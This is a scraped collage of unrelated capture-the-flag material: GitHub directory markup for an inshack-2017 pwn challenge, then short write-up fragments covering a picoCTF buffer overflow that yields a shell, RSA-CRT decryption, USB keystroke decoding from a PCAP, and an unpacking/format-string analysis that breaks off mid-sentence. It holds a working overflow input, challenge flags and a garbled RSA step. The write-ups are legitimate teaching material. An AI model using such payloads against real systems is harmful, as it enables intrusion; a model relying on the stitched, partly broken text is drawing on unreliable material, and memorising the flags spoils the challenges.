0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":83088123,"originating_url":"https://github.com/HugoDelval/inshack-2017/tree/master/challenges/pwn/crazy-minitel-125","user_id":null}}" data-hydro-click-hmac="94eed017d8c2a10799664f3bedb62a5cf110d36c804f287879dd5bf8f71930e6"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/HugoDelval/inshack-2017/refs" cache-key="v0:1491806619.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="SHVnb0RlbHZhbC9pbnNoYWNrLTIwMTc=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/HugoDelval/inshack-2017/refs" cache-key="v0:1491806619.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="SHVnb0RlbHZhbC9pbnNoYWNrLTIwMTc=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>pwn</span></span><span>/</span>crazy-minitel-125<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>inshack-2017</span></span></span><span>/</span><span><span>challenges</span></span><span>/</span><span><span>pwn</span></span><span>/</span>crazy-minitel-125<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/HugoDelval/inshack-2017/tree-commit/efc675f74b280a25cfee0b945d61ce7b05710e3e/challenges/pwn/crazy-minitel-125" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/HugoDelval/inshack-2017/file-list/master/challenges/pwn/crazy-minitel-125"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>public-files</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>src</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>writeup.md</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
https://github.com/Idomin/CTF-Writeups/blob/master/PicoCTF-2017/README.MD VR Gear Console Here's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/51645e84d55d376442beaf264e0908b9 HINTS What happens if you read in more characters than the length of the username buffer? You should look at an ascii table to see what character you need to choose. Numbers are stored in little-endian format, which means that the lowest byte of the number is first. "cat file - | vrgearconsole " will keep the pipe open for commands. Reference : http://www.asciitable.com/ if (access >= 0xff || access <= 0) { printf("Login unsuccessful.\n"); exit(10); } else if (access < 0x30) { printf("Admin access granted!\n"); printf("The flag is in \"flag.txt\".\n"); system("/bin/sh"); } else { printf("Login successful.\n"); printf("You do not have permission to access this resource.\n"); exit(1); } If Username == AAAAAAAAAAAAAAAAAAAAA for example the acesslevel will be set to 0x41414141 and we get to the else case. If Username == AAAAAAAAAAAAAAAAA we get 0x00000041 and we need to set access < 0x30 -> Look at asciitable and we know $ is hex 24 so lets go with that. Username == AAAAAAAAAAAAAAAA$ -> Results in shell.
To solve this challenge we used Chinese remainder algorithm 1) p and q are the primes 2) dp = d mod (p - 1) 3) dq = d mod (q - 1) 4) Qinv = 1/q mod p *This is not integer devision but multiplicative inverse 5) m1 = pow(c, dp, p) 6) m2 = pow(c, dq, q) 7-1) h = Qinv(m1 - m2) mod p ; if m1 < m2 7-2) h = Qinv * (m1 + q/p) 7) m = m2 + hq flag{Theres_more_than_one_way_to_RSA}
Includes memory visualizations and a script that works 100% of the time with no brute force! [Choose](https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/binary/Choose/Choose.html)
So we're given a PCAP file containing USB keypresses. Sounds simple enough. After having figured out which USB host is the keyboard it's a simple matter of sorting out that 'traffic' and extracting the "Leftover Capture Data" containing the actual keystrokes. Some grep and text omission gives us these keys: `09 0c 17 30 0c 87 1a 08 2a 21 11 17 87 21 87 0e 08 2a 20 1c 05 12 21 15 07 32 16` Mapping the keys from [http://www.usb.org/developers/hidpage/Hut1_12v2.pdf](http://www.usb.org/developers/hidpage/Hut1_12v2.pdf) p. 53-60 gives us something that looks like a key: `FIT}IxWEx4NTx4xKEx3YBO4RDxS` Now we know the key should begin with FIT{ and end with }, so something's up here. Oh wait, it's a japanese CTF! Let's take [http://hp.vector.co.jp/authors/VA003720/lpproj/others/kbdjpn.htm](http://hp.vector.co.jp/authors/VA003720/lpproj/others/kbdjpn.htm) into account and mark 2A as backspace, 87 as japanese keyboard's underscore and correct 30 and 32 for japanese keyboard's { and }. Our final mapping has these additions: `0x30:"{", # Japanese 30 = {` `0x32:"}", # Japanese 32 = }` `0x87:"_", # Japanese 87 = Underscore _ or Pipe | or Backslash \` `0x2A:"<backspace>", # DELETE (Backspace)` Running our python script again, we get `FIT{I_WE<backspace>4NT_4_KE<backspace>3YBO4RD}S` Submitting `FIT{I_W4NT_4_K3YBO4RD}` tells us incorrect flag. Hrm! Going back to the leftover capture data, only a few of the characters have the shift key pressed, besides special characters only I, leaving us with `FIT{I_w4nt_4_k3ybo4rd}` - which submits as correct flag!
# Complex problem (Mixed 400 pts) We were given [this](img.zip) file. If you unzip the file you will get the following bmp image. ![img.bmp](img.bmp) Hoping I wouldn't have to play with the image file I ran strings on the image and noticed a bunch of base64. However, I realized in the output from strings it was not one contiguous block of base64 there were multiple blocks separated by a new line character. So in IPython I skipped the bitmap header and grabbed the base64. ```import base64f = open('img.bmp', 'rb')d = f.read()v = d[0x7a:] #skip the headeru = ''.join([base64.b64decode(x) for x in v.split('\n')])open('img.out', 'wb').write(u)```The file command showed it was a 32-bit ELF binary. Running strings gave me a whole lot of garbage but from xxd I saw it was UPX packed. ![](img/xxd_upx.png) So I ran strings again to see if I could get any comments. ```> strings -n 15 img3.output..$Info: This file is packed with the UPX executable packer http://upx.sf.net $$Id: UPX 3.93 Copyright (C) 1996-2017 the UPX Team. All Rights Reserved. $..```I downloaded the exact packer and tried to unpack the binary. Unfortunately, it did not work. So I thought I would have to manually unpack the binary but I should probably go ahead and run the binary to see what it did (probably should have had already done this). The binary printed out```> ./img.outI'm Exhausted ``` Then it gave us a prompt which was then printed out. Interestingly enough there was a format string vulnerability. So I used that to print out the stack to see if anything was there. When there was not anything there I decided to try using gdb-peda since I didn't have a network address I needed to connect to to solve the problem I new I could find the flag in the binary without using the format string. At this point you can jump to the answer section because it could have easily been completed at this point but I of course thought I needed to unpack the binary, it's a 400 point question after all. ### Unnecessary StuffI wasn't sure how to find the OEP in an ELF binary as I have always used Ollydbg with PE files to figure out the OEP and grab the original binary from memory. I knew radare could do it but I thought that as long as I could get to main in a controlled manner I wouldn't actually need to unpack the binary because I could reverse main. I noticed that the original code entry point started at 0xc40e90 from 'readelf -h'. I decided to check what eip was after the "I'm Exhausted" message was printed. ```> gdb -q img.outgdb-peda $ rgdb-peda $ ctrl-cgdb-peda $ btgdb-peda $ break *0x0806d712gdb-peda $ c``` After that I stepi'd and tried to figure out what was going on to see if I could find main. I was having a hard time determining where main was this way so I tried going through the packer. I noticed it was loading code to 0xc42000 and had the idea to start the program in peda and then use the peda api to step until the upper three bytes of eip changed to 00c420. I bet angr could probably do this faster in hind sight. ```gdb-peda $ python while "c42" not in peda.execute_redirect('x/xw $eip')[2:5]: print(peda.execute_redirect('stepi')) ``` I ran the command for about 5 minutes or so, it could have been 